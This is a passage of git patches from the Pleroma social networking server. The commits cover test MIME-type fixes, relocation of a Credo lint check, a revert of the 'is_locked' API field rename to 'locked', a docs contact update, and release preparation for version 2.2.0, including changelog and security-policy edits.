test "/api/v1/media/:id good request", %{conn: conn, object: object} do setup %{user: actor} do file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } diff --git a/test/pleroma/web/mastodon_api/controllers/status_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/status_controller_test.exs index 633a25e50..61359214a 100644 --- a/test/pleroma/web/mastodon_api/controllers/status_controller_test.exs +++ b/test/pleroma/web/mastodon_api/controllers/status_controller_test.exs @@ -167,7 +167,7 @@ test "Get MRF reason when posting a status is rejected by one", %{conn: conn} do test "posting an undefined status with an attachment", %{user: user, conn: conn} do file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } @@ -408,7 +408,7 @@ test "creates a scheduled activity with a media attachment", %{user: user, conn: |> Kernel.<>("Z") file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } diff --git a/test/pleroma/web/mastodon_api/update_credentials_test.exs b/test/pleroma/web/mastodon_api/update_credentials_test.exs index fe462caa3..ed1921c91 100644 --- a/test/pleroma/web/mastodon_api/update_credentials_test.exs +++ b/test/pleroma/web/mastodon_api/update_credentials_test.exs @@ -222,7 +222,7 @@ test "updates the user's name", %{conn: conn} do test "updates the user's avatar", %{user: user, conn: conn} do new_avatar = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } @@ -246,7 +246,7 @@ test "updates the user's avatar", %{user: user, conn: conn} do test "updates the user's banner", %{user: user, conn: conn} do new_header = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } @@ -265,7 +265,7 @@ test "updates the user's banner", %{user: user, conn: conn} do test "updates the user's background", %{conn: conn, user: user} do new_header = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } diff --git a/test/pleroma/web/mastodon_api/views/scheduled_activity_view_test.exs b/test/pleroma/web/mastodon_api/views/scheduled_activity_view_test.exs index fbfd873ef..04f73f5a0 100644 --- a/test/pleroma/web/mastodon_api/views/scheduled_activity_view_test.exs +++ b/test/pleroma/web/mastodon_api/views/scheduled_activity_view_test.exs @@ -22,7 +22,7 @@ test "A scheduled activity with a media attachment" do |> NaiveDateTime.to_iso8601() file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } diff --git a/test/pleroma/web/pleroma_api/controllers/chat_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/chat_controller_test.exs index 11d5ba373..6381f9757 100644 --- a/test/pleroma/web/pleroma_api/controllers/chat_controller_test.exs +++ b/test/pleroma/web/pleroma_api/controllers/chat_controller_test.exs @@ -105,7 +105,7 @@ test "it fails if there is no content", %{conn: conn, user: user} do test "it works with an attachment", %{conn: conn, user: user} do file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } diff --git a/test/pleroma/web/pleroma_api/controllers/mascot_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/mascot_controller_test.exs index e2ead6e15..d6be92869 100644 --- a/test/pleroma/web/pleroma_api/controllers/mascot_controller_test.exs +++ b/test/pleroma/web/pleroma_api/controllers/mascot_controller_test.exs @@ -24,7 +24,7 @@ test "mascot upload" do assert json_response_and_validate_schema(ret_conn, 415) file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } @@ -48,7 +48,7 @@ test "mascot retrieving" do # When a user sets their mascot, we should get that back file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } diff --git a/test/pleroma/web/pleroma_api/views/chat_message_reference_view_test.exs b/test/pleroma/web/pleroma_api/views/chat_message_reference_view_test.exs index 26272c125..f171a1e55 100644 --- a/test/pleroma/web/pleroma_api/views/chat_message_reference_view_test.exs +++ b/test/pleroma/web/pleroma_api/views/chat_message_reference_view_test.exs @@ -19,7 +19,7 @@ test "it displays a chat message" do recipient = insert(:user) file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } diff --git a/test/pleroma/web/plugs/uploaded_media_plug_test.exs b/test/pleroma/web/plugs/uploaded_media_plug_test.exs index 07f52c8cd..7c8313121 100644 --- a/test/pleroma/web/plugs/uploaded_media_plug_test.exs +++ b/test/pleroma/web/plugs/uploaded_media_plug_test.exs @@ -11,7 +11,7 @@ defp upload_file(context) do File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image_tmp.jpg"), filename: "nice_tf.jpg" } diff --git a/test/pleroma/web/push/impl_test.exs b/test/pleroma/web/push/impl_test.exs index 6cab46696..7d8cc999a 100644 --- a/test/pleroma/web/push/impl_test.exs +++ b/test/pleroma/web/push/impl_test.exs @@ -219,7 +219,7 @@ test "builds content for chat messages with no content" do recipient = insert(:user) file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } -- cgit v1.2.3 From 09be8cb33663e1e8a469e8b228e4e9c8ee769e32 Mon Sep 17 00:00:00 2001 From: Mark Felder <feld@FreeBSD.org> Date: Tue, 13 Oct 2020 12:49:43 -0500 Subject: Credo --- test/mix/tasks/pleroma/user_test.exs | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/test/mix/tasks/pleroma/user_test.exs b/test/mix/tasks/pleroma/user_test.exs index 09e1f472e..ce819f815 100644 --- a/test/mix/tasks/pleroma/user_test.exs +++ b/test/mix/tasks/pleroma/user_test.exs @@ -255,7 +255,12 @@ test "All statuses set" do test "All statuses unset" do user = - insert(:user, is_locked: true, is_moderator: true, is_admin: true, confirmation_pending: true) + insert(:user, + is_locked: true, + is_moderator: true, + is_admin: true, + confirmation_pending: true + ) Mix.Tasks.Pleroma.User.run([ "set", -- cgit v1.2.3 From f5d8af1db118ba87fccf59e3150d2c1dd58fd492 Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" <contact@hacktivis.me> Date: Tue, 13 Oct 2020 19:54:24 +0200 Subject: Move Consistency.FileLocation to ./test This fixes a compilation fail because of Credo's absence in MIX_ENV=prod --- .credo.exs | 2 +- lib/credo/check/consistency/file_location.ex | 166 -------------------------- test/credo/check/consistency/file_location.ex | 166 ++++++++++++++++++++++++++ 3 files changed, 167 insertions(+), 167 deletions(-) delete mode 100644 lib/credo/check/consistency/file_location.ex create mode 100644 test/credo/check/consistency/file_location.ex diff --git a/.credo.exs b/.credo.exs index 83e34a2b4..b85898af3 100644 --- a/.credo.exs +++ b/.credo.exs @@ -25,7 +25,7 @@ # # If you create your own checks, you must specify the source files for # them here, so they can be loaded by Credo before running the analysis. - requires: ["./lib/credo/check/consistency/file_location.ex"], + requires: ["./test/credo/check/consistency/file_location.ex"], # # Credo automatically checks for updates, like e.g. Hex does. # You can disable this behaviour below: diff --git a/lib/credo/check/consistency/file_location.ex b/lib/credo/check/consistency/file_location.ex deleted file mode 100644 index 500983608..000000000 --- a/lib/credo/check/consistency/file_location.ex +++ /dev/null @@ -1,166 +0,0 @@ -# Pleroma: A lightweight social networking server -# Originally taken from -# https://github.com/VeryBigThings/elixir_common/blob/master/lib/vbt/credo/check/consistency/file_location.ex -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Credo.Check.Consistency.FileLocation do - @moduledoc false - - # credo:disable-for-this-file Credo.Check.Readability.Specs - - @checkdoc """ - File location should follow the namespace hierarchy of the module it defines. - - Examples: - - - `lib/my_system.ex` should define the `MySystem` module - - `lib/my_system/accounts.ex` should define the `MySystem.Accounts` module - """ - @explanation [warning: @checkdoc] - - @special_namespaces [ - "controllers", - "views", - "operations", - "channels" - ] - - # `use Credo.Check` required that module attributes are already defined, so we need - # to place these attributes - # before use/alias expressions. - # credo:disable-for-next-line VBT.Credo.Check.Consistency.ModuleLayout - use Credo.Check, category: :warning, base_priority: :high - - alias Credo.Code - - def run(source_file, params \\ []) do - case verify(source_file, params) do - :ok -> - [] - - {:error, module, expected_file} -> - error(IssueMeta.for(source_file, params), module, expected_file) - end - end - - defp verify(source_file, params) do - source_file.filename - |> Path.relative_to_cwd() - |> verify(Code.ast(source_file), params) - end - - @doc false - def verify(relative_path, ast, params) do - if verify_path?(relative_path, params), - do: ast |> main_module() |> verify_module(relative_path, params), - else: :ok - end - - defp verify_path?(relative_path, params) do - case Path.split(relative_path) do - ["lib" | _] -> not exclude?(relative_path, params) - ["test", "support" | _] -> false - ["test", "test_helper.exs"] -> false - ["test" | _] -> not exclude?(relative_path, params) - _ -> false - end - end - - defp exclude?(relative_path, params) do - params - |> Keyword.get(:exclude, []) - |> Enum.any?(&String.starts_with?(relative_path, &1)) - end - - defp main_module(ast) do - {_ast, modules} = Macro.prewalk(ast, [], &traverse/2) - Enum.at(modules, -1) - end - - defp traverse({:defmodule, _meta, args}, modules) do - [{:__aliases__, _, name_parts}, _module_body] = args - {args, [Module.concat(name_parts) | modules]} - end - - defp traverse(ast, state), do: {ast, state} - - # empty file - shouldn't really happen, but we'll let it through - defp verify_module(nil, _relative_path, _params), do: :ok - - defp verify_module(main_module, relative_path, params) do - parsed_path = parsed_path(relative_path, params) - - expected_file = - expected_file_base(parsed_path.root, main_module) <> - Path.extname(parsed_path.allowed) - - cond do - expected_file == parsed_path.allowed -> - :ok - - special_namespaces?(parsed_path.allowed) -> - original_path = parsed_path.allowed - - namespace = - Enum.find(@special_namespaces, original_path, fn namespace -> - String.contains?(original_path, namespace) - end) - - allowed = String.replace(original_path, "/" <> namespace, "") - - if expected_file == allowed, - do: :ok, - else: {:error, main_module, expected_file} - - true -> - {:error, main_module, expected_file} - end - end - - defp special_namespaces?(path), do: String.contains?(path, @special_namespaces) - - defp parsed_path(relative_path, params) do - parts = Path.split(relative_path) - - allowed = - Keyword.get(params, :ignore_folder_namespace, %{}) - |> Stream.flat_map(fn {root, folders} -> Enum.map(folders, &Path.join([root, &1])) end) - |> Stream.map(&Path.split/1) - |> Enum.find(&List.starts_with?(parts, &1)) - |> case do - nil -> - relative_path - - ignore_parts -> - Stream.drop(ignore_parts, -1) - |> Enum.concat(Stream.drop(parts, length(ignore_parts))) - |> Path.join() - end - - %{root: hd(parts), allowed: allowed} - end - - defp expected_file_base(root_folder, module) do - {parent_namespace, module_name} = module |> Module.split() |> Enum.split(-1) - - relative_path = - if parent_namespace == [], - do: "", - else: parent_namespace |> Module.concat() |> Macro.underscore() - - file_name = module_name |> Module.concat() |> Macro.underscore() - - Path.join([root_folder, relative_path, file_name]) - end - - defp error(issue_meta, module, expected_file) do - format_issue(issue_meta, - message: - "Mismatch between file name and main module #{inspect(module)}. " <> - "Expected file path to be #{expected_file}. " <> - "Either move the file or rename the module.", - line_no: 1 - ) - end -end diff --git a/test/credo/check/consistency/file_location.ex b/test/credo/check/consistency/file_location.ex new file mode 100644 index 000000000..500983608 --- /dev/null +++ b/test/credo/check/consistency/file_location.ex @@ -0,0 +1,166 @@ +# Pleroma: A lightweight social networking server +# Originally taken from +# https://github.com/VeryBigThings/elixir_common/blob/master/lib/vbt/credo/check/consistency/file_location.ex +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Credo.Check.Consistency.FileLocation do + @moduledoc false + + # credo:disable-for-this-file Credo.Check.Readability.Specs + + @checkdoc """ + File location should follow the namespace hierarchy of the module it defines. + + Examples: + + - `lib/my_system.ex` should define the `MySystem` module + - `lib/my_system/accounts.ex` should define the `MySystem.Accounts` module + """ + @explanation [warning: @checkdoc] + + @special_namespaces [ + "controllers", + "views", + "operations", + "channels" + ] + + # `use Credo.Check` required that module attributes are already defined, so we need + # to place these attributes + # before use/alias expressions. + # credo:disable-for-next-line VBT.Credo.Check.Consistency.ModuleLayout + use Credo.Check, category: :warning, base_priority: :high + + alias Credo.Code + + def run(source_file, params \\ []) do + case verify(source_file, params) do + :ok -> + [] + + {:error, module, expected_file} -> + error(IssueMeta.for(source_file, params), module, expected_file) + end + end + + defp verify(source_file, params) do + source_file.filename + |> Path.relative_to_cwd() + |> verify(Code.ast(source_file), params) + end + + @doc false + def verify(relative_path, ast, params) do + if verify_path?(relative_path, params), + do: ast |> main_module() |> verify_module(relative_path, params), + else: :ok + end + + defp verify_path?(relative_path, params) do + case Path.split(relative_path) do + ["lib" | _] -> not exclude?(relative_path, params) + ["test", "support" | _] -> false + ["test", "test_helper.exs"] -> false + ["test" | _] -> not exclude?(relative_path, params) + _ -> false + end + end + + defp exclude?(relative_path, params) do + params + |> Keyword.get(:exclude, []) + |> Enum.any?(&String.starts_with?(relative_path, &1)) + end + + defp main_module(ast) do + {_ast, modules} = Macro.prewalk(ast, [], &traverse/2) + Enum.at(modules, -1) + end + + defp traverse({:defmodule, _meta, args}, modules) do + [{:__aliases__, _, name_parts}, _module_body] = args + {args, [Module.concat(name_parts) | modules]} + end + + defp traverse(ast, state), do: {ast, state} + + # empty file - shouldn't really happen, but we'll let it through + defp verify_module(nil, _relative_path, _params), do: :ok + + defp verify_module(main_module, relative_path, params) do + parsed_path = parsed_path(relative_path, params) + + expected_file = + expected_file_base(parsed_path.root, main_module) <> + Path.extname(parsed_path.allowed) + + cond do + expected_file == parsed_path.allowed -> + :ok + + special_namespaces?(parsed_path.allowed) -> + original_path = parsed_path.allowed + + namespace = + Enum.find(@special_namespaces, original_path, fn namespace -> + String.contains?(original_path, namespace) + end) + + allowed = String.replace(original_path, "/" <> namespace, "") + + if expected_file == allowed, + do: :ok, + else: {:error, main_module, expected_file} + + true -> + {:error, main_module, expected_file} + end + end + + defp special_namespaces?(path), do: String.contains?(path, @special_namespaces) + + defp parsed_path(relative_path, params) do + parts = Path.split(relative_path) + + allowed = + Keyword.get(params, :ignore_folder_namespace, %{}) + |> Stream.flat_map(fn {root, folders} -> Enum.map(folders, &Path.join([root, &1])) end) + |> Stream.map(&Path.split/1) + |> Enum.find(&List.starts_with?(parts, &1)) + |> case do + nil -> + relative_path + + ignore_parts -> + Stream.drop(ignore_parts, -1) + |> Enum.concat(Stream.drop(parts, length(ignore_parts))) + |> Path.join() + end + + %{root: hd(parts), allowed: allowed} + end + + defp expected_file_base(root_folder, module) do + {parent_namespace, module_name} = module |> Module.split() |> Enum.split(-1) + + relative_path = + if parent_namespace == [], + do: "", + else: parent_namespace |> Module.concat() |> Macro.underscore() + + file_name = module_name |> Module.concat() |> Macro.underscore() + + Path.join([root_folder, relative_path, file_name]) + end + + defp error(issue_meta, module, expected_file) do + format_issue(issue_meta, + message: + "Mismatch between file name and main module #{inspect(module)}. " <> + "Expected file path to be #{expected_file}. " <> + "Either move the file or rename the module.", + line_no: 1 + ) + end +end -- cgit v1.2.3 From 8b20c4d2752d620cbcd8b5d122abe7d143878a97 Mon Sep 17 00:00:00 2001 From: Mark Felder <feld@FreeBSD.org> Date: Tue, 13 Oct 2020 16:15:28 -0500 Subject: Missed tests --- test/pleroma/web/mastodon_api/controllers/account_controller_test.exs | 2 +- test/pleroma/web/mastodon_api/update_credentials_test.exs | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs index 0b803b7ab..5164063be 100644 --- a/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs +++ b/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs @@ -1271,7 +1271,7 @@ test "registration from trusted app" do "follow_requests_count" => 0, "followers_count" => 0, "following_count" => 0, - "locked" => false, + "is_locked" => false, "note" => "", "source" => %{ "fields" => [], diff --git a/test/pleroma/web/mastodon_api/update_credentials_test.exs b/test/pleroma/web/mastodon_api/update_credentials_test.exs index 79d41d1bf..9340b3ae0 100644 --- a/test/pleroma/web/mastodon_api/update_credentials_test.exs +++ b/test/pleroma/web/mastodon_api/update_credentials_test.exs @@ -105,7 +105,7 @@ test "updates the user's locking status", %{conn: conn} do conn = patch(conn, "/api/v1/accounts/update_credentials", %{is_locked: "true"}) assert user_data = json_response_and_validate_schema(conn, 200) - assert user_data["locked"] == true + assert user_data["is_locked"] == true end test "updates the user's chat acceptance status", %{conn: conn} do -- cgit v1.2.3 From ed61002815a65962cd4eba8522f090c2998741d4 Mon Sep 17 00:00:00 2001 From: Mark Felder <feld@FreeBSD.org> Date: Wed, 14 Oct 2020 11:03:17 -0500 Subject: Undo API breaking changes --- .../web/api_spec/operations/account_operation.ex | 2 +- .../web/api_spec/operations/chat_operation.ex | 2 +- lib/pleroma/web/api_spec/schemas/account.ex | 4 ++-- .../mastodon_api/controllers/account_controller.ex | 2 +- lib/pleroma/web/mastodon_api/views/account_view.ex | 2 +- .../controllers/account_controller_test.exs | 2 +- .../web/mastodon_api/update_credentials_test.exs | 4 ++-- .../web/mastodon_api/views/account_view_test.exs | 24 +++++++++++----------- 8 files changed, 21 insertions(+), 21 deletions(-) diff --git a/lib/pleroma/web/api_spec/operations/account_operation.ex b/lib/pleroma/web/api_spec/operations/account_operation.ex index 57f25e1d8..d90ddb787 100644 --- a/lib/pleroma/web/api_spec/operations/account_operation.ex +++ b/lib/pleroma/web/api_spec/operations/account_operation.ex @@ -519,7 +519,7 @@ defp update_credentials_request do description: "Header image encoded using multipart/form-data", format: :binary }, - is_locked: %Schema{ + locked: %Schema{ allOf: [BooleanLike], nullable: true, description: "Whether manual approval of follow requests is required." diff --git a/lib/pleroma/web/api_spec/operations/chat_operation.ex b/lib/pleroma/web/api_spec/operations/chat_operation.ex index df786e480..0dcfdb354 100644 --- a/lib/pleroma/web/api_spec/operations/chat_operation.ex +++ b/lib/pleroma/web/api_spec/operations/chat_operation.ex @@ -259,7 +259,7 @@ def chats_response do "fields" => [] }, "statuses_count" => 1, - "is_locked" => false, + "locked" => false, "created_at" => "2020-04-16T13:40:15.000Z", "display_name" => "lain", "fields" => [], diff --git a/lib/pleroma/web/api_spec/schemas/account.ex b/lib/pleroma/web/api_spec/schemas/account.ex index b8ddf4ab8..ca79f0747 100644 --- a/lib/pleroma/web/api_spec/schemas/account.ex +++ b/lib/pleroma/web/api_spec/schemas/account.ex @@ -32,7 +32,7 @@ defmodule Pleroma.Web.ApiSpec.Schemas.Account do header_static: %Schema{type: :string, format: :uri}, header: %Schema{type: :string, format: :uri}, id: FlakeID, - is_locked: %Schema{type: :boolean}, + locked: %Schema{type: :boolean}, note: %Schema{type: :string, format: :html}, statuses_count: %Schema{type: :integer}, url: %Schema{type: :string, format: :uri}, @@ -159,7 +159,7 @@ defmodule Pleroma.Web.ApiSpec.Schemas.Account do "header" => "https://mypleroma.com/images/banner.png", "header_static" => "https://mypleroma.com/images/banner.png", "id" => "9tKi3esbG7OQgZ2920", - "is_locked" => false, + "locked" => false, "note" => "cofe", "pleroma" => %{ "allow_following_move" => true, diff --git a/lib/pleroma/web/mastodon_api/controllers/account_controller.ex b/lib/pleroma/web/mastodon_api/controllers/account_controller.ex index 5b3980c71..97858a93c 100644 --- a/lib/pleroma/web/mastodon_api/controllers/account_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/account_controller.ex @@ -177,7 +177,6 @@ def update_credentials(%{assigns: %{user: user}, body_params: params} = conn, _p user_params = [ :no_rich_text, - :is_locked, :hide_followers_count, :hide_follows_count, :hide_followers, @@ -210,6 +209,7 @@ def update_credentials(%{assigns: %{user: user}, body_params: params} = conn, _p if bot, do: {:ok, "Service"}, else: {:ok, "Person"} end) |> Maps.put_if_present(:actor_type, params[:actor_type]) + |> Maps.put_if_present(:is_locked, params[:locked]) # What happens here: # diff --git a/lib/pleroma/web/mastodon_api/views/account_view.ex b/lib/pleroma/web/mastodon_api/views/account_view.ex index f382c05a3..d54cae732 100644 --- a/lib/pleroma/web/mastodon_api/views/account_view.ex +++ b/lib/pleroma/web/mastodon_api/views/account_view.ex @@ -242,7 +242,7 @@ defp do_render("show.json", %{user: user} = opts) do username: username_from_nickname(user.nickname), acct: user.nickname, display_name: display_name, - is_locked: user.is_locked, + locked: user.is_locked, created_at: Utils.to_masto_date(user.inserted_at), followers_count: followers_count, following_count: following_count, diff --git a/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs index 5164063be..0b803b7ab 100644 --- a/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs +++ b/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs @@ -1271,7 +1271,7 @@ test "registration from trusted app" do "follow_requests_count" => 0, "followers_count" => 0, "following_count" => 0, - "is_locked" => false, + "locked" => false, "note" => "", "source" => %{ "fields" => [], diff --git a/test/pleroma/web/mastodon_api/update_credentials_test.exs b/test/pleroma/web/mastodon_api/update_credentials_test.exs index 9340b3ae0..fe462caa3 100644 --- a/test/pleroma/web/mastodon_api/update_credentials_test.exs +++ b/test/pleroma/web/mastodon_api/update_credentials_test.exs @@ -102,10 +102,10 @@ test "updates the user's bio", %{conn: conn} do end test "updates the user's locking status", %{conn: conn} do - conn = patch(conn, "/api/v1/accounts/update_credentials", %{is_locked: "true"}) + conn = patch(conn, "/api/v1/accounts/update_credentials", %{locked: "true"}) assert user_data = json_response_and_validate_schema(conn, 200) - assert user_data["is_locked"] == true + assert user_data["locked"] == true end test "updates the user's chat acceptance status", %{conn: conn} do diff --git a/test/pleroma/web/mastodon_api/views/account_view_test.exs b/test/pleroma/web/mastodon_api/views/account_view_test.exs index 90b436376..203e61c71 100644 --- a/test/pleroma/web/mastodon_api/views/account_view_test.exs +++ b/test/pleroma/web/mastodon_api/views/account_view_test.exs @@ -43,7 +43,7 @@ test "Represent a user account" do username: "shp", acct: user.nickname, display_name: user.name, - is_locked: false, + locked: false, created_at: "2017-08-15T15:47:06.000Z", followers_count: 3, following_count: 0, @@ -148,7 +148,7 @@ test "Represent a Service(bot) account" do username: "shp", acct: user.nickname, display_name: user.name, - is_locked: false, + locked: false, created_at: "2017-08-15T15:47:06.000Z", followers_count: 3, following_count: 0, @@ -483,60 +483,60 @@ test "shows zero when no follow requests are pending" do test "shows non-zero when follow requests are pending" do user = insert(:user, is_locked: true) - assert %{is_locked: true} = AccountView.render("show.json", %{user: user, for: user}) + assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) other_user = insert(:user) {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) - assert %{is_locked: true, follow_requests_count: 1} = + assert %{locked: true, follow_requests_count: 1} = AccountView.render("show.json", %{user: user, for: user}) end test "decreases when accepting a follow request" do user = insert(:user, is_locked: true) - assert %{is_locked: true} = AccountView.render("show.json", %{user: user, for: user}) + assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) other_user = insert(:user) {:ok, other_user, user, _activity} = CommonAPI.follow(other_user, user) - assert %{is_locked: true, follow_requests_count: 1} = + assert %{locked: true, follow_requests_count: 1} = AccountView.render("show.json", %{user: user, for: user}) {:ok, _other_user} = CommonAPI.accept_follow_request(other_user, user) - assert %{is_locked: true, follow_requests_count: 0} = + assert %{locked: true, follow_requests_count: 0} = AccountView.render("show.json", %{user: user, for: user}) end test "decreases when rejecting a follow request" do user = insert(:user, is_locked: true) - assert %{is_locked: true} = AccountView.render("show.json", %{user: user, for: user}) + assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) other_user = insert(:user) {:ok, other_user, user, _activity} = CommonAPI.follow(other_user, user) - assert %{is_locked: true, follow_requests_count: 1} = + assert %{locked: true, follow_requests_count: 1} = AccountView.render("show.json", %{user: user, for: user}) {:ok, _other_user} = CommonAPI.reject_follow_request(other_user, user) - assert %{is_locked: true, follow_requests_count: 0} = + assert %{locked: true, follow_requests_count: 0} = AccountView.render("show.json", %{user: user, for: user}) end test "shows non-zero when historical unapproved requests are present" do user = insert(:user, is_locked: true) - assert %{is_locked: true} = AccountView.render("show.json", %{user: user, for: user}) + assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) other_user = insert(:user) {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) {:ok, user} = User.update_and_set_cache(user, %{is_locked: false}) - assert %{is_locked: false, follow_requests_count: 1} = + assert %{locked: false, follow_requests_count: 1} = AccountView.render("show.json", %{user: user, for: user}) end end -- cgit v1.2.3 From 42112b842ce80571e83f6ea35c4ba9ff817264cb Mon Sep 17 00:00:00 2001 From: swentel <swentel@realize.be> Date: Wed, 14 Oct 2020 21:32:18 +0200 Subject: Change handle and url of contact person for Indigenous client --- docs/clients.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/clients.md b/docs/clients.md index f84295b1f..1e2c14f1b 100644 --- a/docs/clients.md +++ b/docs/clients.md @@ -71,7 +71,7 @@ Feel free to contact us to be added to this list! ### Indigenous - Homepage: <https://indigenous.realize.be/> - Source Code: <https://github.com/swentel/indigenous-android/> -- Contact: [@realize.be@realize.be](@realize.be@realize.be) +- Contact: [@swentel@realize.be](https://realize.be) - Platforms: Android - Features: No Streaming -- cgit v1.2.3 From 65b73eb9fd2c33ad1fc59e08974495331b51888f Mon Sep 17 00:00:00 2001 From: rinpatch <rinpatch@sdf.org> Date: Thu, 15 Oct 2020 21:43:35 +0300 Subject: mix.exs: bump version to 2.2.0 --- mix.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/mix.exs b/mix.exs index 427329d38..dfa035025 100644 --- a/mix.exs +++ b/mix.exs @@ -4,7 +4,7 @@ defmodule Pleroma.Mixfile do def project do [ app: :pleroma, - version: version("2.1.50"), + version: version("2.2.0"), elixir: "~> 1.9", elixirc_paths: elixirc_paths(Mix.env()), compilers: [:phoenix, :gettext] ++ Mix.compilers(), -- cgit v1.2.3 From 6c1bc9ca394add6f037653a8e93ed0caf89ef73b Mon Sep 17 00:00:00 2001 From: rinpatch <rinpatch@sdf.org> Date: Thu, 15 Oct 2020 21:43:46 +0300 Subject: CHANGELOG.md: prepare 2.2.0 changelog --- CHANGELOG.md | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 36a84b1a8..649d8c902 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,7 +3,7 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). -## Unreleased +## [2.2.0] - 2020-10-?? ### Added - Mix tasks for controlling user account confirmation status in bulk (`mix pleroma.user confirm_all` and `mix pleroma.user unconfirm_all`) @@ -15,6 +15,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - **Breaking** Requires `libmagic` (or `file`) to guess file types. - **Breaking:** Pleroma Admin API: emoji packs and files routes changed. - **Breaking:** Sensitive/NSFW statuses no longer disable link previews. +- API: Empty parameter values for integer parameters are now ignored in non-strict validaton mode. - Search: Users are now findable by their urls. - Renamed `:await_up_timeout` in `:connections_pool` namespace to `:connect_timeout`, old name is deprecated. - Renamed `:timeout` in `pools` namespace to `:recv_timeout`, old name is deprecated. @@ -50,10 +51,14 @@ switched to a new configuration mechanism, however it was not officially removed - Add documented-but-missing chat pagination. - Allow sending out emails again. -## Unreleased (Patch) +### Upgrade notes + +1. Install libmagic and development headers (`libmagic-dev` on Ubuntu/Debian, `file-dev` on Alpine Linux) +2. Run database migrations (inside Pleroma directory): + - OTP: `./bin/pleroma_ctl migrate` + - From Source: `mix ecto.migrate` +3. Restart Pleroma -### Changed -- API: Empty parameter values for integer parameters are now ignored in non-strict validaton mode. ## [2.1.2] - 2020-09-17 -- cgit v1.2.3 From 274c8e6fabeb65813f76766ccaa22227168c726e Mon Sep 17 00:00:00 2001 From: rinpatch <rinpatch@sdf.org> Date: Thu, 15 Oct 2020 21:45:31 +0300 Subject: SECURITY.md: update supported versions to only 2.2 --- SECURITY.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SECURITY.md b/SECURITY.md index 8617c1434..c009d21d9 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -6,7 +6,7 @@ Currently, Pleroma offers bugfixes and security patches only for the latest mino | Version | Support |---------| -------- -| 2.1 | Bugfixes and security patches +| 2.2 | Bugfixes and security patches ## Reporting a vulnerability -- cgit v1.2.3 From fb0e3403632ed10ba7d226d998618e0a894d2538 Mon Sep 17 00:00:00 2001 From: rinpatch <rinpatch@sdf.org> Date: Wed, 21 Oct 2020 21:13:49 +0300 Subject: Rip out fedsockets from the release branch --- CHANGELOG.md | 1 - config/config.exs | 4 +++- config/description.exs | 13 ------------- docs/configuration/cheatsheet.md | 10 ---------- 4 files changed, 3 insertions(+), 25 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 649d8c902..80ca6a350 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -27,7 +27,6 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ### Added - Media preview proxy (requires `ffmpeg` and `ImageMagick` to be installed and media proxy to be enabled; see `:media_preview_proxy` config for more details). - Pleroma API: Importing the mutes users from CSV files. -- Experimental websocket-based federation between Pleroma instances. <details> <summary>API Changes</summary> diff 